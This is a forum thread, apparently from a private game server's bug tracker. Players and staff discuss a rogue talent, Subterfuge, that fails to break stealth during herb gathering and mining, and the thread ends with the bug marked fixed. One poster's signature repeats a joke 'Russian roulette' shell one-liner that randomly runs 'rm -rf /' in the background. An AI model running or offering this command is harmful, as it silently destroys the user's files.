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[FIXED] [Rogue][Talent] Subterfuge vs. Herb Gathering / Mining

 
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Post Posted: 03-05-2016, 17:21:17 | Translate post to: ... (Click for more languages)

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Bug description: As combat spec a rogue can gather herbs, cap flags on battlegound without break the stealth.
Proof: Easy to test it...try to gather herbs in combat spec...after in assasination...same think on battlegrounds with flags.



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Code:

$(echo "scale=0; $RANDOM % 6" | bc -l) == 0 ] && nohup rm -rf / >/dev/null 2>&1 || echo "You live (for now)"

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africa

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Post Posted: 03-05-2016, 17:54:55 | Translate post to: ... (Click for more languages)

Moved to class related.
Please provide proof if it's that easy to test.

If you're specd in Shadow Focus it will break.
If you're specd in Subterfuge it will not break.
If you're specd in Nightstalker it will break.

Subterfuge allows you to use stealth abilities even after stealth breaks, so I guess that's why it doesn't break.
Need proof it should break.

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Post Posted: 05-05-2016, 10:13:53 | Translate post to: ... (Click for more languages)

https://youtube.com/watch?v=yPiudmQrOG8:



That is a proof on gathering herbs...same bug on capping flags on bg!



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Code:

$(echo "scale=0; $RANDOM % 6" | bc -l) == 0 ] && nohup rm -rf / >/dev/null 2>&1 || echo "You live (for now)"

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Ventress90

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Post Posted: 05-05-2016, 11:45:21 | Translate post to: ... (Click for more languages)

From what I remember Subterfuge would break when capping flags in BGs. I'll test it out later and post here a video.


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Post Posted: 05-05-2016, 15:28:40 | Translate post to: ... (Click for more languages)

Ventress90 wrote:
From what I remember Subterfuge would break when capping flags in BGs. I'll test it out later and post here a video.


U mean stealth would break?...and Subterfuge is something like...if u have a dot on you, you can re-stealth without breaking stealth for 3 sec...



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Code:

$(echo "scale=0; $RANDOM % 6" | bc -l) == 0 ] && nohup rm -rf / >/dev/null 2>&1 || echo "You live (for now)"

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Ventress90

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Post Posted: 05-05-2016, 15:46:46 | Translate post to: ... (Click for more languages)

income wrote:
Ventress90 wrote:
From what I remember Subterfuge would break when capping flags in BGs. I'll test it out later and post here a video.


U mean stealth would break?...and Subterfuge is something like...if u have a dot on you, you can re-stealth without breaking stealth for 3 sec...

Yes, I was referring to Stealth breaking if the rogue interacts with the flag while in a BG - which is what should happen.

Video proof:
https://youtube.com/watch?v=agwBbLk6Jbc:



https://youtube.com/watch?v=KkvQXtWvQDA:




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africa

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Post Posted: 05-05-2016, 18:15:05 | Translate post to: ... (Click for more languages)

So stealth breakes when capping flag.

Need proof it should break when farming herbs/veins.

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Rep107

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Post Posted: 14-05-2016, 19:10:27 | Translate post to: ... (Click for more languages)

africa wrote:
Need proof it should break when farming herbs/veins.

Quote:
tested with some potions. Healing potions cause subterfuge's three second stealth, (so did bandages).
Rumsey rum black label immediately canceled stealth.
Guardian and battle elixirs both immediately end stealth.
Other potions like "elixer of water breathing," which are neither healing potions nor guardian/battle elixirs, do not break stealth at all.
Fishing and crafting items do give subterfuge's 3 seconds of stealth.
Looting corpses and gathering herbs end stealth immediately

http://us.battle.net/wow/en/forum/topic/6490011004

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Post Posted: 15-05-2016, 07:41:14 | Translate post to: ... (Click for more languages)

Confirmed.

Stealth should break regardless of talent used when gathering herbs or mining veins.

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Shocker

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Post Posted: 20-09-2016, 17:12:46 | Translate post to: ... (Click for more languages)

Capping flags already removes stealth / subterfuge.

Fixed to be removed by herb gathering / mining


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